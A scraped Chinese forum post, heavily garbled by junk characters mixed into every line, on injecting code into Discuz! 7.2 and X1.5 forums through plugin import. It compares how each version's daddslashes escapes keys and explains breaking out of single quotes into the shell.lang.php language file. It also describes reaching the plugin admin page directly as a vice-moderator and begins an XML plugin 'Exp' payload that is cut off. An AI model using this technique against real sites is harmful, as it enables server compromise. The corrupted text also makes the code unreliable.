, s' [2 c% q S k" R0 dfunction daddslashes($string, $force = 0) {
! Q$ J5 h' L: T" I! r02$ ^" I8 {4 {2 E; F: f
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
4 V: l' x2 n8 _7 ?: C03
" k& Y8 m4 D" x8 z+ P8 Y! h2 P if(!MAGIC_QUOTES_GPC || $force) {0 s# |1 [) `! P# L
04. s2 t1 z' e; p% r3 j: d' K2 C
if(is_array($string)) {8 Z1 U$ K- Z8 ^6 X0 a
051 ^( E! d. o$ p* ^
foreach($string as $key => $val) {
7 V9 V1 X. `& z2 E* C7 F4 ~067 K# P1 l7 D2 M* P8 z3 S
$string[$key] = daddslashes($val, $force);
& z0 _' T6 t: J. L1 p07
+ P' D6 [4 ?( q' v8 r5 i9 x% ] }: f2 X- N# [: k6 E5 g
08
7 ~- ^, n; _8 v7 f5 F" m } else {
: S% C6 @- ]4 M- Q# J9 v09 V5 N6 X4 j( c7 m- {- f
$string = addslashes($string);
. y! r+ X) T0 L8 T# N$ F1 r+ k2 O10
( D, {( r, \3 t2 x+ N$ k; J }
) s$ g% v n3 J6 f11
5 j A6 v* `& {9 p2 e6 K1 `9 I }! ?+ Y& S0 c5 X" M- J
12
( K4 t$ c9 I* S# q7 ^0 H: q/ \ return $string;
) k& W4 D5 X* T1 v. ~0 }13 p7 k: @. w! p5 P$ R2 X5 [
}
4 A+ {. J+ [. p! w$ C6 P9 tX1.54 c# Y* e1 H" [) _9 W$ N
01
- ~9 n; A$ m- ~function daddslashes($string, $force = 1) {
6 y0 y( M3 A. I: L5 ~4 w3 |02
# y# d: c, J, }5 ]* O: C0 J if(is_array($string)) {. T5 G {2 j# o' J
03
3 ~2 o" I3 h7 U foreach($string as $key => $val) {
' Y3 J8 m w# [+ {3 _04) ~- \7 \& D, [# p4 Q1 u* O
unset($string[$key]);7 O: |0 _+ R7 ?
055 t5 e- l" I) t
//过滤了key
7 X/ v* U. p x; X, C: ^7 S6 D& \9 c. [06
) ?# u7 G N! ~6 G, L/ }% ], N# ` $string[addslashes($key)] = daddslashes($val, $force);
, Q0 y0 u. R3 V4 v6 k) s) f- D07
% T* U: l( ?1 @1 ` E8 @ }
* c$ I; e6 z, i8 b08$ l3 P3 Z, M# o4 d3 Y$ O0 D
} else {
; t# y `+ E6 q9 Q; u09" E/ O, E0 a% r r: S+ K3 W
$string = addslashes($string);/ O0 ]6 K2 k$ m) W/ V( T& s+ |( p
10
7 _0 N( r, T- H9 R1 l7 l }
+ ~. d O9 R% L# A$ E. f. O* H11
& k5 A8 \: N4 s( G; i return $string;
/ |) f# s! S& F0 B# i9 A0 S12/ N$ v/ S" M( i
}
9 q; z) h* ~2 f& S还是看下shell.lang.php的文件格式.
0 v/ }/ @# R2 F: ]& U14 T( @* `! W) I) P+ Z: Q# J" E$ z% I
<?php; f, ^, t" y# V# l
2/ u: p' m5 r. V( ]) K* b/ v
$scriptlang['shell'] = array(
- P! V! U2 q' [6 R: b6 f3" B' i; |3 ]; e! E3 h
'a' => '1',
9 m6 W' T7 _; u& z [! t& @3 N4 {4
' l5 y( C- }8 o# P; A0 L 'b' => '2',: s' G6 n$ @1 z) e
5
; T# P0 \& ?. e3 E: A: s* H* M! v. T4 F: O);
) H) |3 h4 P: k; v+ Y# k6
7 P' y3 U# G7 z9 I$ v - O, {8 L- ^9 }/ s4 P
71 a, W$ O9 K' ^# j/ u
?>
7 Z3 y" s. G& t7.2版本没有过滤Key,所以直接用\废掉单引号." m3 v$ ?! q3 l: V# u
X1.5,单引号转义后变为\',再被替换一次',还是留下了\
7 Z3 i7 H+ c4 U- ~; M% O& R1 X
+ ~% c1 B) \9 a E, W# T" \而$v在两个版本中过滤相同,比较通用.
; t* Z+ Z) ^4 s8 O0 q5 A. M# b/ Q
X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件
, g" d& r- F' P1 L& w0 s& |: X8 E8 s% }+ Q E& [" b
$v通用Exp:
1 Q/ s' [: ^" U& _7 ]) D01
1 V) r9 z, w2 T& G9 _+ c- x<?xml version="1.0" encoding="ISO-8859-1"?>9 L1 d+ y8 y( z3 n
02
' e, ^% ?$ u8 q* o c; z( M; D<root>; P, i7 u4 i* M3 o: e6 l8 q; |
03+ z* ^; ]. z: W) q. |, x
<item id="Title"><![CDATA[Discuz! Plugin]]></item>
' }! ^: G p/ h- G8 I; {' ]04
& J" ` h3 E% p' Q b <item id="Version"><![CDATA[7.2]]></item>0 m3 Y }+ X- X- z& ]
05
! o2 j6 h- g( q3 g+ c <item id="Time"><![CDATA[2011-03-16 15:57]]></item>
: P/ I; H _/ |/ f% @" a06
7 `# i: o- \3 r$ W <item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
" z" Y! c0 u# A: @) O2 k072 E2 j0 q: X3 P
<item id="Data">3 k! b& b5 Z. C1 _) }
086 M1 i( ]' B# D! i! X) G
<item id="plugin">' x* d0 v# N; a; y+ O2 h
09' } }; N4 K* h2 n# w+ E- O
<item id="available"><![CDATA[0]]></item>
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<item id="adminid"><![CDATA[0]]></item>
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]4 a E6 ?% D- o最后的最后,加积分太不靠谱了,管理员能免费送包盐不? |